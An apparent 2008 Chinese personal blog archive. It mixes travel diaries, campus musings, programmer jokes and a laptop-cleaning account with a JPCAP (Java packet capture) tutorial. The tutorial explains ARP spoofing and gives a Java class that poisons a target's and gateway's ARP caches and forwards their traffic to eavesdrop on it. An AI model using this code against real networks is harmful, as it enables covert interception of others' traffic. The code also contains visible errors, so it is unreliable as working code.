    傍晚从海洋公园出来后回到金顶,那里有公交到半山缆车站。那个有香港百年历史的上山缆车,感觉和之前自己想象中的很不一样,原来以为是那种平常见到的几个人在一起的缆车,结果看到一个类似老式有轨电车的车厢,坐进去后整个车开始以45度左右的角度往山顶上爬去,还是很好玩的。下来后去到了杜莎夫人蜡像馆,里面有许多政治家,科学家,明星们的蜡像。感觉挺一般般,应该和上海这里的没什么区别吧。参观出来正好可以在太平山上看香港夜景,霓虹灯下的香港也别有一番韵味。从山顶下来做了次巴士,见识到了香港司机的厉害。在类似秋名山道的路上,双层巴士左扭右扭,让我总有是否正在漂移的疑惑。

    Day 5
    从宾馆退房后再次来到了油麻地,本想来庙街看一下香港的大排档是什么样子顺便再大快朵颐。结果发现自己犯了一个大错,我们来的太早了,大排档都还没有开门.......不过还好发现一家卖牛腩的小店,还是很不错的。吃好饭在街上随便逛了下就回到了深圳。从罗湖入关前把八达通卡推掉了,结果一算发现交通费每人用掉了200多,顿时体会香港物价的恐怖了.......深圳还是住回了之前那家汉庭,东西放好后搭地铁来到华强路,深圳传说中赫赫有名的华强北电子市场在这里,到了晚上这里依然人流滚滚。突然发现应该在香港满大街都是却一直找不到的许留山在这里反而找到了。

    Day 6
    起来后从宾馆出门往北走到门诊部站,大概有15分钟左右,也可以门口坐车过去,那里有车可以到大小梅沙。大小梅沙属于深圳市最好的两个海滩,大梅沙那里是一个开放的公园,没有门票,所以许多本地人喜欢去那里游泳看海。小梅沙是属于一个旅游度假地,有门票(不贵),不过里面的游乐项目和设施比大梅沙那里要多一些,还有就是人不多。自带泳衣后可以在那里玩一天。夕阳下的海滩格外的美,朝阳下的海滩呢......这个我们就没有起那么早了......

    Day 7
    早上起的早的话可以去尝试下国贸旋转餐厅的自助早茶,据说11点前38元一位,不过今天起太晚了。退房后顺便去看了看附近的一个美术馆,不过我是个土人,说实话看得不是很懂.......也就当是凑凑热闹了~~~
    晚上搭乘飞机回到上海

    11/4/2008

    JPCAP——Java中的数据链路层控制

    一.JPCAP简介
      众所周知,JAVA语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的。JPCAP扩展包弥补了这一点。
      JPCAP实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,JPCAP调用wincap/libpcap,而给JAVA语言提供一个公共的接口,从而实现了平台无关性。在官方网站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
    二.JPCAP机制
      JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER,getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类,下面就其中最重要的4个类做说明。

      1.NetworkInterface
      该类的每一个实例代表一个网络设备,一般就是网卡。这个类只有一些数据成员,除了继承自java.lang.Object的基本方法以外,没有定义其它方法。


    数据成员

      NetworkInterfaceAddress[]  
    java.lang.String datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如,以太网(Ethernet)、无线LAN网(wireless LAN)、令牌环网(token ring)等等。
    java.lang.String datalink_name 该网络设备所对应数据链路层的名称。具体来说,例如Ethernet10M、100M、1000M等等。
    java.lang.String description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
    boolean Loopback 标志这个设备是否loopback设备。
    byte[] mac_address 网卡的MAC地址,6个字节。
    java.lang.String Name 这个设备的名称。例如我的网卡名称:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

      2.JpcapCaptor
      该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接,可以通过该类的实例来控制设备,例如设定网卡模式、设定过滤关键字等等。

    数据成员

    int

    dropped_packets

    抛弃的包的数目。
    protected int ID

    这个数据成员在官方文档中并没有做任何说明,查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的,这类本身并没有做出定义,所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。

    protected staticboolean[]

    instanciatedFlag

    同样在官方文档中没有做任何说明,估计其为供内部使用。

    protected staticint

    MAX_NUMBER_OF_INSTANCE

    同样在官方文档中没有做任何说明,估计其为供内部使用。

    int

    received_packets

    收到的包的数目

    方法成员

    staticNetworkInterface[]

    getDeviceList()

    返回一个网络设备列表。

    staticJpcapCaptor

    openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms) 创建一个与指定设备的连接并返回该连接。

    Interface:要打开连接的设备的实例;
    Snaplen:这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包,而是限制每一次收到一个数据包,只提取该数据包中前多少字节;
    Promisc:设置是否混杂模式。处于混杂模式将接收所有数据包,若之后又调用了包过滤函数setFilter()将不起任何作用;
    To_ms:这个参数主要用于processPacket()方法,指定超时的时间;

    void

    Close()

    关闭调用该方法的设备的连接,相对于openDivece()打开连接。

    JpcapSender

    getJpcapSenderInstance()

    该返回一个JpcapSender实例,JpcapSender类是专门用于控制设备的发送数据包的功能的类。

    Packet

    getPacket() 捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
    int loopPacket(intcount, PacketReceiver handler)

    捕捉指定数目的数据包,并交由实现了PacketReceiver接口的类的实例处理,并返回捕捉到的数据包数目。如果count参数设为-1,那么无限循环地捕捉数据。
    这个方法不受超时的影响。还记得openDivice()中的to_ms参数么?那个参数对这个方法没有影响,如果没有捕捉到指定数目数据包,那么这个方法将一直阻塞等待。
    PacketReceiver中只有一个抽象方法void receive(Packet p)。

    int

    processPacket(intcount, PacketReceiver handler) 跟loopPacket()功能一样,唯一的区别是这个方法受超时的影响,超过指定时间自动返回捕捉到数据包的数目。

    int

    dispatchPacket(intcount, PacketReceiverhandler) 跟processPacket()功能一样,区别是这个方法可以处于“non-blocking”模式工作,在这种模式下dispatchPacket()可能立即返回,即使没有捕捉到任何数据包。
    void

    setFilter(java.lang.Stringcondition, booleanoptimize)

    condition:设定要提取的包的关键字。
    Optimize:这个参数在说明文档以及源代码中都没有说明,只是说这个参数如果为真,那么过滤器将处于优化模式。

    void

    setNonBlockingMode(booleannonblocking)

    如果值为“true”,那么设定为“non-blocking”模式。

    void breakLoop() 当调用processPacket()和loopPacket()后,再调用这个方法可以强制让processPacket()和loopPacket()停止。

      3.JpcapSender
      该类专门用于控制数据包的发送。

    方法成员

    void

    openRawSocket()

    这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。

      sendPacket(Packet packet)

    JpcapSender最重要的功能,发送数据包。需要注意的是,如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话,需要自己设定数据链路层的头,而如果是由上面的openRawSocket()得到的话,那么无需也不能设置,数据链路层的头部将由系统自动生成。

      4.Packet
      这个是所有其它数据包类的父类。Jpcap所支持的数据包有:
    ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

    三.使用JPCAP实现监听
      1.监听原理 
      在详细说用JPCAP实现网络监听实现前,先简单介绍下监听的原理。
      局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。
      假设本机为A,监听目标为B。
      首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。
      接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包经过网关时,就通通转发给A。
      这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

      2.用JPCAP实现监听
      就如上面说的,为了实现监听,我们必须做四件事:
      A.发送ARP包修改B的ARP缓存表;
      B.发送ARP包修改路由ARP缓存表;
      C.转发B发过来的数据包;
      D.转发路由发过来的数据包;
      下面我们给个小小的例子说明怎样实现。
          我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。

    public class changeARP{
     private NetworkInterface[] devices; //设备列表
     private NetworkInterface device; //要使用的设备
     private JpcapCaptor jpcap; //与设备的连接
     private JpcapSender sender; //用于发送的实例
     private byte[] targetMAC, gateMAC; //B的MAC地址,网关的MAC地址
     private byte[] String targetIp, String gateIp; //B的IP地址,网关的IP地址
     /**
     *初始化设备
     * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
     *dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
     *注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
     *JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
     *虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
     *配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
     */
     private NetworkInterface getDevice() throws IOException {
      devices = JpcapCaptor.getDeviceList(); //获得设备列表
      device = devices[0];//只有一个设备
      jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
      jpcap.setFilter(“ip”,true); //只监听B的IP数据包
      sender = captor.getJpcapSenderInstance();
     }
     /**
     *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
     *段时间就发一次包重新更改B和网关的ARP表。
     *@参数 targetMAC B的MAC地址,可通过ARP解析得到;
     *@参数 targetIp B的IP地址;
     *@参数 gateMAC 网关的MAC地址;
     */
     public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
     throws UnknownHostException,InterruptedException {
      this. targetMAC = targetMAC;
      this. targetIp = targetIp;
      this. gateMAC = gateMAC;
      this. gateIp = gateIp;
      getDevice();
      arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
      arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
      arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
      arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
      arpTarget.hlen = 6; //MAC地址长度固定6个字节
      arpTarget.plen = 4; //IP地址长度固定4个字节
      arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
      arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
      arpTarget.target_hardaddr = targetMAC; //B的MAC地址
      arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
      EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
      ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
      ethToTarget.src_mac = device.mac_address; //A的MAC地址
      ethToTarget.dst_mac = targetMAC; //B的MAC地址
      arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
      arpGate = new ARPPacket(); //修改网关ARP表的包
      arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析
      arpGate.prototype = ARPPacket.PROTOTYPE_IP;
      arpGate.operation = ARPPacket.ARP_REPLY;
      arpGate.hlen = 6;
      arpGate.plen = 4;
      arpGate.sender_hardaddr = device.mac_address;
      arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
      arpGate.target_hardaddr = gateMAC;
      arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
      EthernetPacket ethToGate = new EthernetPacket();
      ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
      ethToGate.src_mac = device.mac_address;
      ethToGate.dst_mac = gateMAC;
      arpGate.datalink = ethToGate;
      thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
      public void run() {
       while (true) {
        sender.sendPacket(arpTarget);
        sender.sendPacket(arpGate);
        Thread.sleep(500);
       }).start();
       recP(); //接收数据包并转发
      }
      /**
      *修改包的以太头,转发数据包
      *参数 packet 收到的数据包
      *参数 changeMAC 要转发出去的目标
      */
      private void send(Packet packet, byte[] changeMAC) {
       EthernetPacket eth;
       if (packet.datalink instanceof EthernetPacket) {
        eth = (EthernetPacket) packet.datalink;
        for (int i = 0; i < 6; i++) {
         eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
         eth.src_mac[i] = device.mac_address[i]; //源发送者为A
        }
        sender.sendPacket(packet);
       }
      }
      /**
      *打印接受到的数据包并转发
      */
      public void recP(){
       IPPacket ipPacket = null;
       while(true){
        ipPacket = (IPPacket)jpcap.getPacket();
        System.out.println(ipPacket);
        if (ipPacket.src_ip.getHostAddress().equals(targetIp))
         send(packet, gateMAC);
        else
         send(packet, targetMAC);
       }
      }
    注意:这个例子只是为了说明问题,并没有考虑到程序的健壮性,所以并不一定能在任何一台机器任何一个系统上运行。

    8/27/2008

    程序员的进化——从学生到首席执行官

    翻译 2002 王咏刚 http://www.contextfree.net/
    转译自 Omri's Computer Humor Page
    http://www.cs.bgu.ac.il/~omri/Humor/
    -------------------------------------------


    --------------------------------------------------------------------------------
    中学阶段

    10 PRINT "HELLO WORLD"
    20 END
    --------------------------------------------------------------------------------
    大学一年级

    program Hello(input, output)
    begin
    writeln('Hello World')
    end.
    --------------------------------------------------------------------------------
    大学高年级

    (defun hello
    (print
    (cons 'Hello (list 'World))))
    --------------------------------------------------------------------------------
    初级程序员

    #include ;
    void main(void)
    {
    char *message[] = {"Hello ", "World"};
    int i;

    for(i = 0; i < 2; ++i)
    printf("%s", message[i]);
    printf("\n");
    }
    --------------------------------------------------------------------------------
    编程老鸟

    #include ;
    #include ;

    class string
    {
    private:
    int size;
    char *ptr;

    public:
    string() : size(0), ptr(new char('\0')) {}

    string(const string &s) : size(s.size)
    {
    ptr = new char[size + 1];
    strcpy(ptr, s.ptr);
    }

    ~string()
    {
    delete [] ptr;
    }

    friend ostream &operator <<(ostream &, const string &);
    string &operator=(const char *);
    };

    ostream &operator<<(ostream &stream, const string &s)
    {
    return(stream << s.ptr);
    }

    string &string::operator=(const char *chrs)
    {
    if (this != &chrs)
    {
    delete [] ptr;
    size = strlen(chrs);
    ptr = new char[size + 1];
    strcpy(ptr, chrs);
    }
    return(*this);
    }

    int main()
    {
    string str;

    str = "Hello World";
    cout << str << end

    return(0);
    }
    --------------------------------------------------------------------------------
    编程高手

    [
    uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)
    ]
    library LHello
    {
    // bring in the master library
    importlib("actimp.tlb");
    importlib("actexp.tlb");

    // bring in my interfaces
    #include "pshlo.idl"

    [
    uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)
    ]
    cotype THello
    {
    interface IHello;
    interface IPersistFile;
    };
    };

    [
    exe,
    uuid(2573F890-CFEE-101A-9A9F-00AA00342820)
    ]
    module CHelloLib
    {

    // some code related header files
    importheader(;);
    importheader(;);
    importheader(;);
    importheader("pshlo.h");
    importheader("shlo.hxx");
    importheader("mycls.hxx");

    // needed typelibs
    importlib("actimp.tlb");
    importlib("actexp.tlb");
    importlib("thlo.tlb");

    [
    uuid(2573F891-CFEE-101A-9A9F-00AA00342820),
    aggregatable
    ]
    coclass CHello
    {
    cotype THello;
    };
    };

    #include "ipfix.hxx"

    extern HANDLE hEvent;

    class CHello : public CHelloBase
    {
    public:
    IPFIX(CLSID_CHello);

    CHello(IUnknown *pUnk);
    ~CHello();

    HRESULT __stdcall PrintSz(LPWSTR pwszString);

    private:
    static int cObjRef;
    };

    #include ;
    #include ;
    #include ;
    #include ;
    #include "thlo.h"
    #include "pshlo.h"
    #include "shlo.hxx"
    #include "mycls.hxx"

    int CHello::cObjRef = 0;

    CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)
    {
    cObjRef++;
    return;
    }

    HRESULT __stdcall CHello::PrintSz(LPWSTR pwszString)
    {
    printf("%ws\n", pwszString);
    return(ResultFromScode(S_OK));
    }

    CHello::~CHello(void)
    {

    // when the object count goes to zero, stop the server
    cObjRef--;
    if( cObjRef == 0 )
    PulseEvent(hEvent);

    return;
    }

    #include ;
    #include ;
    #include "pshlo.h"
    #include "shlo.hxx"
    #include "mycls.hxx"

    HANDLE hEvent;

    int _cdecl main(
    int argc,
    char * argv[]
    ) {
    ULONG ulRef;
    DWORD dwRegistration;
    CHelloCF *pCF = new CHelloCF();

    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

    // Initialize the OLE libraries
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,
    REGCLS_MULTIPLEUSE, &dwRegistration);

    // wait on an event to stop
    WaitForSingleObject(hEvent, INFINITE);

    // revoke and release the class object
    CoRevokeClassObject(dwRegistration);
    ulRef = pCF->;Release();

    // Tell OLE we are going away.
    CoUninitialize();

    return(0);
    }

    extern CLSID CLSID_CHello;
    extern UUID LIBID_CHelloLib;

    CLSID CLSID_CHello = { 2573F891-CFEE-101A-9A9F-00AA00342820
    0x2573F891,
    0xCFEE,
    0x101A,
    { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
    };

    UUID LIBID_CHelloLib = { 2573F890-CFEE-101A-9A9F-00AA00342820
    0x2573F890,
    0xCFEE,
    0x101A,
    { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
    };

    #include ;
    #include ;
    #include ;
    #include ;
    #include ;
    #include "pshlo.h"
    #include "shlo.hxx"
    #include "clsid.h"

    int _cdecl main(
    int argc,
    char * argv[]
    ) {
    HRESULT hRslt;
    IHello *pHello;
    ULONG ulCnt;
    IMoniker * pmk;
    WCHAR wcsT[_MAX_PATH];
    WCHAR wcsPath[2 * _MAX_PATH];

    // get object path
    wcsPath[0] = '\0';
    wcsT[0] = '\0';
    if( argc >; 1) {
    mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);
    wcsupr(wcsPath);
    }
    else {
    fprintf(stderr, "Object path must be specified\n");
    return(1);
    }

    // get print string
    if(argc >; 2)
    mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);
    else
    wcscpy(wcsT, L"Hello World");

    printf("Linking to object %ws\n", wcsPath);
    printf("Text String %ws\n", wcsT);

    // Initialize the OLE libraries
    hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);

    if(SUCCEEDED(hRslt)) {

    hRslt = CreateFileMoniker(wcsPath, &pmk);
    if(SUCCEEDED(hRslt))
    hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);

    if(SUCCEEDED(hRslt)) {

    // print a string out
    pHello->;PrintSz(wcsT);

    Sleep(2000);
    ulCnt = pHello->;Release();
    }
    else
    printf("Failure to connect, status: %lx", hRslt);

    // Tell OLE we are going away.
    CoUninitialize();
    }

    return(0);
    }
    --------------------------------------------------------------------------------
    黑客初阶

    #!/usr/local/bin/perl
    $msg="Hello, world.\n";
    if ($#ARGV >;= 0) {
    while(defined($arg=shift(@ARGV))) {
    $outfilename = $arg;
    open(FILE, ">;" . $outfilename) || die "Can't write $arg: $!\n";
    print (FILE $msg);
    close(FILE) || die "Can't close $arg: $!\n";
    }
    } else {
    print ($msg);
    }
    1;
    --------------------------------------------------------------------------------
    黑客有成

    #include ;
    #define S "Hello, World\n"
    main(){exit(printf(S) == strlen(S) ? 0 : 1);}
    --------------------------------------------------------------------------------
    黑客高手

    % cc -o a.out ~/src/misc/hw/hw.c
    % a.out
    --------------------------------------------------------------------------------
    黑客大虾

    % cat
    Hello, world.
    ^D
    --------------------------------------------------------------------------------
    初级经理

    10 PRINT "HELLO WORLD"
    20 END
    --------------------------------------------------------------------------------
    中级经理

    mail -s "Hello, world." bob@b12
    Bob, could you please write me a program that prints "Hello, world."?
    I need it by tomorrow.
    ^D
    --------------------------------------------------------------------------------
    高级经理

    % zmail jim
    I need a "Hello, world." program by this afternoon.
    --------------------------------------------------------------------------------
    首席执行官

    % letter
    letter: Command not found.
    % mail
    To: ^X ^F ^C
    % help mail
    help: Command not found.
    % damn!
    !: Event unrecognized
    % logout
    6/28/2008

    随感

    考试接近最后一门,看看SPACE上半年也没有写东西了,也算随便写写纯灌水吧。
     
    关于天气
    今年终于见识到了什么是真正的梅雨季节。一个月里面20多天下着大大小小的雨。空气里、寝室里、教室里都是潮湿的味道.站在光华楼望着窗外的瓢泼大雨,有种莫名的惆怅感。
     
    关于考试
    现在感觉到每次复习就是一次YY的过程。过程的形式是用你的想法来YY一张期末试卷出来,猜测老师会出些什么题目。除了特别BT的老师,基本上也能Y到八九不离十。
     
    关于成绩
    FD的计算机用了理科的培养方式,造就了一些不会写程序的学生。一篇东拼西凑的YY论文与报告的效果要比一个优化的能正确运行的程序要高不少。不知是悲哀很是庆幸,不知新的计算机学院会给以后的孩子们带来什么。
     
    关于思想
    偶然在xiaonei上看到某人写到“看看学校一群一群的党员,共性是不是学生会混的就是小有成就。除了给领导拍马屁就是那可惜的成绩”,只是觉得很悲哀。只是觉只能看出此人学生工作做不好,自傲的不屑于拍马屁与成绩很烂,对了还有一点就是强烈的妒忌心与所谓的自命不凡。对于独生子女的我们也许从小就被宠坏,走向社会要做什么,借用一个老师跟我说的话就是,不是每天梦想的做什么CEO,总统,而是先把身边的每一件事情做好。
     
    关于离别
    每年这个时候,又是个离别的季节。看到04的人们穿这学士服在校园里留下最后的纪念,突然发现自己明年也会和他们一样。时光飞逝,大学三年学会了很多,发现了很多,感悟了很多,但也遗憾了很多。也许在最后一年该把遗憾都弥补了。
     
    关于实习
    实习就像相亲,也许别人看不上你,也许你看不上别人,大家都在忙忙碌碌的寻找自己的“意中人”。想随便说说几个公司。
    ebay,效率很高,基本上一下午加一晚上就可以大致猜出录取与否。虽然自己一直以为这个算一家大企业,不过后来发现其实是一小公司作风,基本上只是招能熟练垒代码的学生。
    Google,对算法要求到了极致的年轻公司。从笔试到面试都在考验你的算法水平与技巧,如何写出最为高效和简洁的代码是它的目的。这里也是能发现最多大牛的地方,同时其环境、福利、薪酬也是属于最高档次。
    Autodesk,注重于C++与C#理解。不过假期的Intern更像是其产品的推广培训,不过它对FD的人不感冒,可能是前人的影响吧。
    IBM,老牌的大企业,其转型以不是传统的IT公司,更类似一个IT+咨询的综合解决方案提供者。这里每个员工的分工都很细,从招Intern的一大串不同名字的职位中就可以看出来。合作与团队精神在这里是最重要的。
    SGM,这个其实是凭借这对汽车的兴趣才投的,本以为可能会有智能交通与驾驶方便的研究。可是和部门负责人谈了后发现原来只是做企业内部的SAP,对于这个只有放弃了。不过成为正式员工的最大好处是可以以内部价格买车。
     
    关于高考
    高考过了一段时间,湖北的分数和分数线也都已经出来了。每年这个时候也是大家最揪心的时刻。不知道表弟考的怎么样,也许考完试再打个电话问问。回家几次和之前的同学聊天也发现内陆和沿海的差别。可能沿海城市的机会更多,视野更广,但也最容易迷失自我。不过前几天接到高中老师的电话,还是向他推荐了让学弟学妹们报FD。
     
    关于假期
    仔细看来其实这个假期属于最忙碌的一个假期了。其实也怪大一的时候假期不知道干什么,大二的假期都用来旅游,大三的假期该用来把欠下的都补上了。首先还是把单词背完,虽然自己也不确定这个能实现多少。其次跟着郭JJ好好学点东西,虽然到现在还没有见过。还有时间看下《Think in Java》与《Algorithm》。如果还有多的时间,恩,该想想去哪旅游好了。
     
    说了这么多不着篇幅的话,算是纯粹的水文了,最后还是发几张好玩的图片,见识下这些英勇的人们吧
     
     
     
     
     
     
     
    6/4/2008

    Vista源代码

    /*
    GNOT General Public License!
    (c) 1995-2007 Microsoft Corporation
    */

    #include "dos.h"
    #include "win95.h"
    #include "win98.h"
    #include "sco_unix.h"

    class WindowsVista extends WindowsXP implements Nothing
    {}

    int totalNewFeatures = 3;
    int totalWorkingNewFeatures = 0;
    float numberOfBugs = 345889E+O8;
    boolean readyForRelease = FALSE;

    void main {
        while (!CRASHED) {
            if (first_time_install) {
                if ((installedRAM < 2GB) ||(processorSpeed < 4GHz))
                {
                    MessageBox("Hardware incompatibility error.");
                    GetKeyPress();
                    BSOD();
                }
            }

            Make10GBswapfile():
            SearchAndDestroy(FIREFOX|OPENOFFICEORG|ANYTHING_GOOGLE);
            AddRandomDriver();
            MessageBox("Driver incompatibility error.");
            GetKeyPress();
            BSOD();
        }

        //printf("Welcome to Windows 2000");
        //printf(Welcome to Windows XP");
        printf(Welcome to Windows Vista");

        if (still_not_crashed)
        {
            CheckUserLicense();
            DoubleCheckUserLicense();
            TripleCheckUserLicense();
            RelayUserDetaitsToRedmond();
            DisplayFancyGraphics();
            FlickerLED(hard_drive);
            RunWindowsXP();
            return LotsMoreMoney,
        }
    }

    3/25/2008

    Laptop首保

    本本买了一年多了,终于在上周末再也无法忍受里面积攒的灰尘,于是就拿起螺丝刀对它来了个大清理。

    先放张原图

    然后打开DELL保修手册。为什么要打开这个呢,当然不是去找保修的什么有关条例来告诫自己什么可以拆,什么不能拆。而是DELL很贴心的在里面写到许多易更换的部件应该怎么拆。首先的准备工作是拆电池,放余电,摸床(其实就是放身上的静电)

    第一步,把屏幕和键盘间的压条橇出。需要胆大,不要怕弄坏,从左往右使劲橇就好了

    然后将固定键盘的两个螺丝拧来,就可以把键盘取出。不过要注意键盘的排线,排线和主板的连接口也很奇特,本来以为是插上去的,鼓捣了半天发现原来是个卡槽。

     键盘里面灰尘也是很多的,再将它拆散,用牙刷刷键帽,其余的放在水里泡。弄好后放在一边等着晾干

     看起来很脏的样子

     再往后DELL就没有提示了,其实是它也不建议你再拆下去了。不过本这刨根问到底的原则(因为已经过保了,不care)了继续下去。 

    取下无线网卡的两根天线,拔出拿下屏幕电源,拧掉相应螺丝。屏幕就可以从底座上拿下来。
     

    拿下屏幕的底座(注意看这个可是双核啊,一Intel,一AMD,HOHO)
     

    把背面看得见的螺丝全部拧下,外壳就可以拿下来了。
     

    终于露出了庐山真面目
     

    HL的combo光驱(Iphone没有自动对焦功能,进距离拍字总是模模糊糊的)

    原ATI的Mobile X1400独立显卡,看起来也是一个发热大户
     

    隐藏在散热片下的CPU,准备有机会换成T7400

    积满灰尘的风扇
     

    这次清理的重点,这个本本的散热通道,刚打开看得时候简直灰尘满园

    把整个本本清理过后最直观的感觉就是风扇的声音比之前小多了,没有积灰的阻碍它转的更欢畅了。估计整个散热系统效率比之前有了很大的提高,为即将到来的炎夏做好了准备。

    友情提醒:危险动作,未成年人请勿模仿

    2/15/2008

    游在新年

    在咨询和比较了各个旅游团的线路后终于说服这次美东的自助旅行。不过可惜的是由于时间问题,不得不放弃了加拿大的线路。总的来说自助游可以玩到许多跟旅行社玩不到的地方,不过缺点就是实在太累。

    Day 0
          都说美国是一个车轮上的国家,此话不假。在美国公路四通八达,基本上连接上了各个城市,所以如果路程不是太遥远,开车是一个比飞机更实惠便捷的方式。在网上查找了一些游记后发现国内的驾照可以临时的在这里使用。于是就打定了开车的主意。比较几家租车公司的条款和价格,觉得还是租大公司的车比较放心。正好住的附近有Budget和Avis,于是过去问问。Budget的价格相对便宜,而且愿意以midsize的价格给我们一辆fullsize(其实是midsize的都没有了),不过看看后发现那车型比较老了,而且对我了实在是太大了。后来去了Avis,挑了一辆Chevy Malibu。同国内的手续来比,这里租车更加简单,只要有效的驾驶执照(中国的他也认)和信用卡就行。试试车没问题后就回去设计旅游线路了。

    Day 1
          今天大年初一,不过和国内比起来这里没有感受到一点的过年气氛。除了在昨天中午看了场春节联欢晚会。既然没有什么时候做,就踏上了旅程。上午11点从Indianapolis出发,沿70号公路往Washington DC驶去。美国的高速公路和国内不大一样,两向车道一般不在一起,中间有大概0.1Mile左右的空地,相对来说车道较宽,限速在55~70Mile之间,不过95%以上的车都在超速。一般没隔一段就有一个类似小镇样的休息区,里面住宿、吃饭、加油一应俱全,而且还有不同的选择。但是最大的感触就是没有遇到收费站。晚上9:30到了定好的Days Inn,条件挺不错的,正好在一片商业区附近。

    Day 2
          Washington DC的景点都比较接近,全部在城市中心处。由于听别人说不好停车,就把车放在附近的一个商业中心处。结果发现失物了,Washington的Museum区这里有许多政府画的免费停车位,又近有方便,而且不限时间,$18就这样打水漂了。这里Washington Monument前面的小屋里可以要票,然后就能乘电梯到达纪念塔顶部看整个城市。Lincoln Memorial、Korean War Memorial、World War II Memorial都在塔西面,走的还是很累的。White House前面保安还是挺严格的,不过还是可以到正门前广场处留影。正巧Nation Museum of American History大修,下午就在Nation Museum of Natural History Museum里面转。Natural History Museum里面藏品还是很多的,以自然历史为主,介绍了各个时代的生物,顺便还时刻不忘提醒大家要爱护动物。

    Day 3
